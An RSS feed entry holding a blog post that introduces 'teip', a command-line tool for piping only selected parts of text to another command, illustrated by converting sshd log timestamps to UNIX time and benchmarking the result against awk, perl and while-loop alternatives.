<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: Yasuhiro Yamada</title>
    <description>The latest articles on Forem by Yasuhiro Yamada (@greymd).</description>
    <link>https://forem.com/greymd</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F42821%2F1853eb46-c7e0-41be-a6ef-f1e6c9d011c9.png</url>
      <title>Forem: Yasuhiro Yamada</title>
      <link>https://forem.com/greymd</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/greymd"/>
    <language>en</language>
    <item>
      <title>teip: "Masking tape" for Shell is what we needed</title>
      <dc:creator>Yasuhiro Yamada</dc:creator>
      <pubDate>Wed, 03 Jun 2020 21:34:03 +0000</pubDate>
      <link>https://forem.com/greymd/teip-masking-tape-for-shell-is-what-we-needed-5e05</link>
      <guid>https://forem.com/greymd/teip-masking-tape-for-shell-is-what-we-needed-5e05</guid>
      <description>&lt;h1&gt;
  
  
  Question
&lt;/h1&gt;

&lt;p&gt;The following is part of the &lt;code&gt;/var/log/secure&lt;/code&gt; file on my server.&lt;br&gt;
The entire size of the original file is several hundred MiB.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ cat test_secure
May 26 03:19:26 localhost sshd[17872]: Received disconnect from 192.0.2.152 port 29864:11:  [preauth]
May 26 03:19:26 localhost sshd[17872]: Disconnected from 192.0.2.78 port 29864 [preauth]
May 26 03:21:10 localhost sshd[17927]: Invalid user amavis1 from 192.0.2.148 port 53364
May 26 03:21:10 localhost sshd[17927]: input_userauth_request: invalid user amavis1 [preauth]
...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I had to convert the datetime at the beginning of the line to UNIX time (don't ask me why) while logged in with SSH.&lt;br&gt;
As shown below is what I wanted.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1590459566 localhost sshd[17872]: Received disconnect from 192.0.2.152 port 29864:11:  [preauth]
1590459566 localhost sshd[17872]: Disconnected from 192.0.2.78 port 29864 [preauth]
1590459670 localhost sshd[17927]: Invalid user amavis1 from 192.0.2.148 port 53364
1590459670 localhost sshd[17927]: input_userauth_request: invalid user amavis1 [preauth]
...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I would like to finish this kind of work &lt;strong&gt;EASILY&lt;/strong&gt; on the terminal.&lt;/p&gt;

&lt;p&gt;So, how would you get this done?&lt;/p&gt;

&lt;p&gt;I've prepared a &lt;a href="https://github.com/greymd/test_files/blob/master/logs/test_secure.gz" rel="noopener noreferrer"&gt;sample file&lt;/a&gt; (extracted one is 100 MiB), so if you're interested, please give it a try.&lt;/p&gt;

&lt;h1&gt;
  
  
  Overview of this article
&lt;/h1&gt;

&lt;ul&gt;
&lt;li&gt;Typical UNIX commands and Shell cannot easily allow you to modify the input/file partially.&lt;/li&gt;
&lt;li&gt;If you try to accomplish this "partial modification", more often than not, you'll complete a complex "script" or you'll only get an "one-liner" having terrible performance.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/greymd/teip/" rel="noopener noreferrer"&gt;teip&lt;/a&gt; can be the "masking tape" against the pipes.&lt;/li&gt;
&lt;li&gt;With &lt;code&gt;teip&lt;/code&gt;, you'll make such the task done easily.&lt;/li&gt;
&lt;li&gt;The one-liner with &lt;code&gt;teip&lt;/code&gt; can work faster than other single thread commands.&lt;/li&gt;
&lt;/ul&gt;

&lt;h1&gt;
  
  
  Answers for the question
&lt;/h1&gt;

&lt;p&gt;Back to the story, I'll show you the most common answers to the questions.&lt;/p&gt;

&lt;h2&gt;
  
  
  Answer 1: &lt;code&gt;while&lt;/code&gt; statement
&lt;/h2&gt;

&lt;p&gt;If you notice that the datetime can be parsed with the &lt;code&gt;date&lt;/code&gt; command, you can use the &lt;code&gt;while&lt;/code&gt; statement of Bash to read and format each line as shown below.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;test_secure | &lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="nb"&gt;read&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; m d t rest&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;date&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$m&lt;/span&gt;&lt;span class="s2"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$d&lt;/span&gt;&lt;span class="s2"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$t&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; +%s&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$rest&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;done&lt;/span&gt;
...
1590463166 localhost sshd[17872]: Disconnected from 192.0.2.78 port 29864 &lt;span class="o"&gt;[&lt;/span&gt;preauth]
1590463270 localhost sshd[17927]: Invalid user amavis1 from 192.0.2.148 port 53364
...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;However, this is a bad practice that beginners tend to do. This method is extremely slow. It is only a few tens of "KiB" per second in my environment (t3.medium instance on AWS). Let's measure the speed with the &lt;code&gt;pv&lt;/code&gt; command&lt;sup id="fnref1"&gt;1&lt;/sup&gt;.&lt;/p&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;test_secure | &lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="nb"&gt;read&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; m d t rest&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;date&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$m&lt;/span&gt;&lt;span class="s2"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$d&lt;/span&gt;&lt;span class="s2"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$t&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; +%s&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$rest&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;done&lt;/span&gt; | pv &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /dev/null
 329KiB 0:00:04 &lt;span class="o"&gt;[&lt;/span&gt;84.7KiB/s] &lt;span class="o"&gt;[&lt;/span&gt;...]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's say the processing speed is 100 KiB/s, it will take 17 minutes to complete a 100 MiB file. If the file is 1GiB, it will take 175 minutes!&lt;br&gt;
This is not good for the environment because it requires much energy to convert😢🌎   , and it may cause the SSH session to run out.&lt;/p&gt;

&lt;p&gt;This is not just a problem of &lt;code&gt;while&lt;/code&gt; statement. All the ways to make the &lt;code&gt;date&lt;/code&gt; fork every line have essentially the same problem. Calling the &lt;code&gt;date&lt;/code&gt; from &lt;code&gt;xargs&lt;/code&gt;, &lt;code&gt;awk&lt;/code&gt;, or &lt;code&gt;perl&lt;/code&gt;, for example, is similarly slow.&lt;/p&gt;
&lt;h2&gt;
  
  
  Answer 2: Separate, Convert and Merge
&lt;/h2&gt;

&lt;p&gt;OK, let's try another idea. Extract the datetime first, and convert them into UNIX time, and save the result to &lt;code&gt;seconds&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;test_secure | &lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; 1-15 | &lt;span class="nb"&gt;date&lt;/span&gt; &lt;span class="nt"&gt;-f-&lt;/span&gt; +%s &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; seconds
&lt;span class="nv"&gt;$ &lt;/span&gt;less seconds
1590463166
1590463166
1590463270
...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After that, combine them with the rest of the file.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;paste&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;' '&lt;/span&gt; seconds &amp;lt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; 17- test_secure&lt;span class="o"&gt;)&lt;/span&gt;
...
1590463166 localhost sshd[17872]: Disconnected from 192.0.2.78 port 29864 &lt;span class="o"&gt;[&lt;/span&gt;preauth]
1590463270 localhost sshd[17927]: Invalid user amavis1 from 192.0.2.148 port 53364
...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It's a bit of a hassle, but if you have plenty of disk space, this is a good way to go. Furthermore, this method is relatively fast.&lt;/p&gt;

&lt;p&gt;But in real-life situations, this method may take more effort than expected.&lt;br&gt;
Typically, huge log files are often partially corrupted like this.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;May 22 01:15:17 localhost sshd[27705]: ...
May 22 01:15:17 localhost sshd[27705]: ...
: Connection closed by 192.0.2.125 port 27258 [preauth] !!!!!!!!!!! Broken line
May 22 01:15:17 localhost sshd[27707]: ...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Bit flipping and undefined behavior on the software, OS, memory, and file system can easily create such a file. For example, &lt;a href="//ftp://ita.ee.lbl.gov/html/contrib/NASA-HTTP.html"&gt;HTTP logs provided by NASA&lt;/a&gt; is in a similar situation.&lt;/p&gt;

&lt;p&gt;Who can guarantee the correspondence between &lt;code&gt;seconds&lt;/code&gt; and the original file&lt;sup id="fnref2"&gt;2&lt;/sup&gt;?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;test_secure_broken | &lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; 1-15 | &lt;span class="nb"&gt;date&lt;/span&gt; &lt;span class="nt"&gt;-f-&lt;/span&gt; +%s &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; seconds

&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;wc&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt; test_secure_broken
1078333 test_secure_broken

&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;wc&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt; seconds
1078331 seconds    &lt;span class="c"&gt;## &amp;lt;==== Different number!&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In many cases, this method risks wasting a lot of time and effort on file normalization. Besides, this idea is less generic because it cannot apply to Apache's log (the datetime is NOT at the beginning of the line) like NASA's one.&lt;/p&gt;

&lt;h2&gt;
  
  
  Answer 3: &lt;code&gt;sed&lt;/code&gt;, &lt;code&gt;awk&lt;/code&gt;, &lt;code&gt;perl&lt;/code&gt;, etc..
&lt;/h2&gt;

&lt;p&gt;If you are familiar with the command line, you can think of a way to convert it using the built-in features of an interpreter language such as &lt;code&gt;awk&lt;/code&gt;, &lt;code&gt;sed&lt;/code&gt;, &lt;code&gt;perl&lt;/code&gt;, or &lt;code&gt;ruby&lt;/code&gt;. It's probably the best answer so far, but this way involves a lot of hard work.&lt;/p&gt;

&lt;p&gt;First, let's use the one called &lt;code&gt;awk&lt;/code&gt;&lt;sup id="fnref3"&gt;3&lt;/sup&gt;.&lt;/p&gt;

&lt;p&gt;It would be better to use &lt;code&gt;mktime&lt;/code&gt;. If you give numbers following "YYYY MM DD HH MM SS" format, you will get the UNIX time.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt; &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'BEGIN{s=mktime("2020 01 01 01 01 01");print s}'&lt;/span&gt;
1577840461
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;OK, it is enough simple so far. I searched on Google &lt;sup id="fnref4"&gt;4&lt;/sup&gt; and found that the name of the month (Jan, Feb, ...) can't be converted to digits by &lt;code&gt;awk&lt;/code&gt;, it seems. So, I need a small code to convert it first.&lt;/p&gt;

&lt;p&gt;I found a good sample on the &lt;a href="https://stackoverflow.com/questions/15252383/unix-convert-month-name-to-number?rq=1" rel="noopener noreferrer"&gt;Stack Overflow&lt;/a&gt;.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;echo "Feb" | awk '{printf "%02d\n",(index("JanFebMarAprMayJunJulAugSepOctNovDec",$1)+2)/3}'&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;It looks like we can convert month name to the number in this way. This one-liner is what I created finally.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;test_secure | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="nt"&gt;-F&lt;/span&gt;&lt;span class="s1"&gt;'[ :]+'&lt;/span&gt; &lt;span class="s1"&gt;'{m=(index("JanFebMarAprMayJunJulAugSepOctNovDec",$1)+2)/3;s = mktime(2020" "m" "$2" "$3" "$4" "$5);$2="";$3="";$4="";$5="";$1=s;print }'&lt;/span&gt; | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{$1=$1;print}'&lt;/span&gt;
...
1590463166 localhost sshd[17872] Disconnected from 192.0.2.78 port 29864 &lt;span class="o"&gt;[&lt;/span&gt;preauth]
1590463270 localhost sshd[17927] Invalid user amavis1 from 192.0.2.148 port 53364
...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Some character is lost from the original file (all the colons &lt;code&gt;:&lt;/code&gt; are removed from file). But it is ok for me. The speed seems to be satisfactory, and it took about 9 seconds to process a 100 MiB file. But it is a bit of a long "one-liner".&lt;/p&gt;

&lt;p&gt;So, let's try it in &lt;code&gt;perl&lt;/code&gt;. You may need an external module, but it's just a little shorter.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;test_secure | perl &lt;span class="nt"&gt;-MTime&lt;/span&gt;::Piece &lt;span class="nt"&gt;-anle&lt;/span&gt; &lt;span class="s1"&gt;'my $t = Time::Piece-&amp;gt;strptime("$F[0] $F[1] $F[2] 2020", "%b %d %H:%M:%S %Y");printf $t-&amp;gt;epoch; print " @F[3..$#F]";'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The above ways have the same problems as Answer 2 and do not preserve the integrity of the file. However, you can use a regular expression to convert the date having a proper format. But to do so, you may need to write even longer code.&lt;/p&gt;

&lt;p&gt;Anyway, can you do the above way EASILY during logging into the server with SSH? For example, do you write the above code for every log of not only &lt;code&gt;/var/log/secure&lt;/code&gt; but also Apache, etc.? This is not a one-liner, but a script, and it will kill your SSH session while you're staring at Stack Overflow.&lt;/p&gt;

&lt;h1&gt;
  
  
  Problems between Shell and UNIX commands
&lt;/h1&gt;

&lt;p&gt;The question exposes the weakness of the Shell and UNIX commands.&lt;/p&gt;

&lt;h4&gt;
  
  
  Problem 1
&lt;/h4&gt;

&lt;p&gt;Typical UNIX commands are connected using Shell's pipes.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The command takes the ENTIRE standard input and processes it.&lt;/li&gt;
&lt;li&gt;The pipe passes the ENTIRE standard input to the command.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That's why Shell is called a "glue language" sometimes. This idea is very powerful, but at the cost of it, each command cannot "choose what to process". As a result, most commands cannot handle the files or the input "partially".&lt;/p&gt;

&lt;h4&gt;
  
  
  Problem 2
&lt;/h4&gt;

&lt;p&gt;On the other hand, some commands can "choose what to process". They are &lt;code&gt;sed&lt;/code&gt;, &lt;code&gt;awk&lt;/code&gt;, &lt;code&gt;perl&lt;/code&gt;, etc. In other words, &lt;strong&gt;if the solution requires partial modification of the data, you have to use those interpreters.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Also, when using these commands, "choose what to process" and "process the data" must be done in the same world provided by the command.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;## Choose the lines between particular two lines (one includes AAA, another one includes BBB)&lt;/span&gt;
&lt;span class="c"&gt;## ..and modify the chosen lines.&lt;/span&gt;
... | &lt;span class="nb"&gt;sed&lt;/span&gt; &lt;span class="s1"&gt;'/AAA/,/BBB/{ s/hoge/fuga/g }'&lt;/span&gt;

&lt;span class="c"&gt;## Choose 1st, 3rd columns&lt;/span&gt;
&lt;span class="c"&gt;## ..and modify them&lt;/span&gt;
... | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{gsub("A","B",$1);gsub("B","C",$3);print}'&lt;/span&gt;

&lt;span class="c"&gt;## Choose the part matched with the regex&lt;/span&gt;
&lt;span class="c"&gt;## ..and modify the part&lt;/span&gt;
... | perl &lt;span class="nt"&gt;-nle&lt;/span&gt; &lt;span class="s1"&gt;'/^(......)(...)/; $a=$1;$b=$2; $b =~ s/./@/g; print "$a$b"'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That forces you to make a "script" (that is no longer the "one-liner" in many cases). Because in this world, you have to follow the restriction of the interpreter.&lt;/p&gt;

&lt;h4&gt;
  
  
  Problem 3
&lt;/h4&gt;

&lt;p&gt;There is a way to create the one-liner as simply as possible without involving the above complications. It's calling the command from within the &lt;code&gt;while&lt;/code&gt; statements or the interpreter.&lt;/p&gt;

&lt;p&gt;But this way exposes another problem. If the processed data is large, it involves a lot of forks of processes like Answer 1. It may extremely impair the performance as mentioned above.&lt;/p&gt;

&lt;h2&gt;
  
  
  teip: Masking-tape for Shell
&lt;/h2&gt;

&lt;p&gt;When I was thinking about the above issue, I thought...&lt;/p&gt;

&lt;p&gt;"""&lt;br&gt;
Isn't there a way to specify the area to be glued when gluing commands together?&lt;br&gt;
Wouldn't the problems be simpler if we had something like "Masking tape" for example?&lt;br&gt;
"""&lt;/p&gt;

&lt;p&gt;As far as I could find, there was no command for such a mechanism.&lt;br&gt;
So I took a long break to learn Rust and created a command called &lt;code&gt;teip&lt;/code&gt; (called "téɪp", I assume).&lt;/p&gt;

&lt;p&gt;Let's quickly show you the solution using the &lt;code&gt;teip&lt;/code&gt; command.&lt;br&gt;
This question can be solved as follows.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;test_secure | teip &lt;span class="nt"&gt;-c&lt;/span&gt; 1-15 &lt;span class="nt"&gt;--&lt;/span&gt; &lt;span class="nb"&gt;date&lt;/span&gt; &lt;span class="nt"&gt;-f-&lt;/span&gt; +%s
...
1590463166 localhost sshd[17872] Disconnected from 192.0.2.78 port 29864 &lt;span class="o"&gt;[&lt;/span&gt;preauth]
1590463270 localhost sshd[17927] Invalid user amavis1 from 192.0.2.148 port 53364
...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It's quite simple, isn't it?&lt;/p&gt;

&lt;p&gt;This command cuts out only 15 characters from the beginning of the input and passes it to the date command. That is, the string after 15 characters is not visible to the &lt;code&gt;date&lt;/code&gt; command (that part is covered by masking tape and the glue is ineffective). Then, &lt;code&gt;teip&lt;/code&gt; replace those 15 characters with the result of the &lt;code&gt;date&lt;/code&gt; command.&lt;/p&gt;

&lt;p&gt;The integrity of the data? Good question. When any inconsistency occurs, &lt;code&gt;teip&lt;/code&gt; will print the error and terminate the operation.&lt;br&gt;
See &lt;a href="https://github.com/greymd/teip#what-command-can-be-used" rel="noopener noreferrer"&gt;the manual&lt;/a&gt; in detail.&lt;/p&gt;

&lt;p&gt;Besides, the above example is the simplest one. If you match the datetime using a regular expression like the one below, you won't get any data inconsistencies in this example.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /var/log/secure | teip &lt;span class="nt"&gt;-og&lt;/span&gt; &lt;span class="s1"&gt;'^[A-Z]\w\w +\d\d? \d\d:\d\d:\d\d'&lt;/span&gt; &lt;span class="nt"&gt;--&lt;/span&gt; &lt;span class="nb"&gt;date&lt;/span&gt; &lt;span class="nt"&gt;-f-&lt;/span&gt; +%s
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Are you worried about the speed? This is also a good question.&lt;br&gt;
Now let's measure it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;sh &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s1"&gt;'echo 3 &amp;gt; /proc/sys/vm/drop_caches'&lt;/span&gt; &lt;span class="c"&gt;## Clear page cache&lt;/span&gt;
&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;time cat &lt;/span&gt;test_secure | teip &lt;span class="nt"&gt;-og&lt;/span&gt; &lt;span class="s1"&gt;'^[A-Z]\w\w +\d\d? \d\d:\d\d:\d\d'&lt;/span&gt; &lt;span class="nt"&gt;--&lt;/span&gt; &lt;span class="nb"&gt;date&lt;/span&gt; &lt;span class="nt"&gt;-f-&lt;/span&gt; +%s | pv &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;/dev/null
94.9MiB 0:00:08 &lt;span class="o"&gt;[&lt;/span&gt;11.6MiB/s] &lt;span class="o"&gt;[&lt;/span&gt;...]

real    0m8.185s
user    0m2.791s
sys     0m0.353s

&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;sh &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s1"&gt;'echo 3 &amp;gt; /proc/sys/vm/drop_caches'&lt;/span&gt;
&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;time cat &lt;/span&gt;test_secure | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="nt"&gt;-F&lt;/span&gt;&lt;span class="s1"&gt;'[ :]+'&lt;/span&gt; &lt;span class="s1"&gt;'{m=(index("JanFebMarAprMayJunJulAugSepOctNovDec",$1)+2)/3;s = mktime(2020" "m" "$2" "$3"
"$4" "$5);$2="";$3="";$4="";$5="";$1=s;print }'&lt;/span&gt; | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{$1=$1;print}'&lt;/span&gt; | pv &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;/dev/null
93.3MiB 0:00:09 &lt;span class="o"&gt;[&lt;/span&gt;9.44MiB/s] &lt;span class="o"&gt;[&lt;/span&gt;...]

real    0m9.889s
user    0m9.614s
sys     0m2.452s

&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;sh &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s1"&gt;'echo 3 &amp;gt; /proc/sys/vm/drop_caches'&lt;/span&gt;
&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;time cat &lt;/span&gt;test_secure | perl &lt;span class="nt"&gt;-MTime&lt;/span&gt;::Piece &lt;span class="nt"&gt;-anle&lt;/span&gt; &lt;span class="s1"&gt;'my $t = Time::Piece-&amp;gt;strptime("$F[0] $F[1] $F[2] 2020", "%b %d %H:%M:%S %Y");p
rintf $t-&amp;gt;epoch; print " @F[3..$#F]";'&lt;/span&gt; | pv &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /dev/null
94.8MiB 0:00:13 &lt;span class="o"&gt;[&lt;/span&gt;7.15MiB/s] &lt;span class="o"&gt;[&lt;/span&gt;...]

real    0m13.290s
user    0m12.807s
sys     0m0.391s
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;teip&lt;/code&gt; + &lt;code&gt;date&lt;/code&gt; : 8.185s&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;awk&lt;/code&gt; : 9.889s&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;perl&lt;/code&gt; : 13.290s&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;As you can see, &lt;code&gt;teip&lt;/code&gt; is faster than all the other examples in my environment. As you'll see later, &lt;code&gt;teip&lt;/code&gt; is a very high performer.&lt;/p&gt;

&lt;h2&gt;
  
  
  What &lt;code&gt;teip&lt;/code&gt; technically does?
&lt;/h2&gt;

&lt;p&gt;Please check &lt;a href="https://github.com/greymd/teip" rel="noopener noreferrer"&gt;README.md&lt;/a&gt; for more information.&lt;/p&gt;

&lt;h2&gt;
  
  
  How useful?
&lt;/h2&gt;

&lt;p&gt;This command can be applied to any problem that requires "partial modification" such as modifying the Apache logs, the specific columns in the CSV or TSV file, only the contents of &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; in the HTML file, etc. Here are some examples introduced on the GitHub.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Edit 4th and 6th columns in the CSV file
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;file.csv | teip &lt;span class="nt"&gt;-d&lt;/span&gt;, &lt;span class="nt"&gt;-f&lt;/span&gt; 4,6 &lt;span class="nt"&gt;--&lt;/span&gt; &lt;span class="nb"&gt;sed&lt;/span&gt; &lt;span class="s1"&gt;'s/./@/g'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;Percent-encode bare-minimum range of the file
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;file | teip &lt;span class="nt"&gt;-og&lt;/span&gt; &lt;span class="s1"&gt;'[^-a-zA-Z0-9@:%._\+~#=/]+'&lt;/span&gt; &lt;span class="nt"&gt;--&lt;/span&gt; php &lt;span class="nt"&gt;-R&lt;/span&gt; &lt;span class="s1"&gt;'echo urlencode($argn)."\n";'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Advantages of teip
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;teip&lt;/code&gt; allows another command to "choose what to process". There are two benefits in this way.&lt;/p&gt;

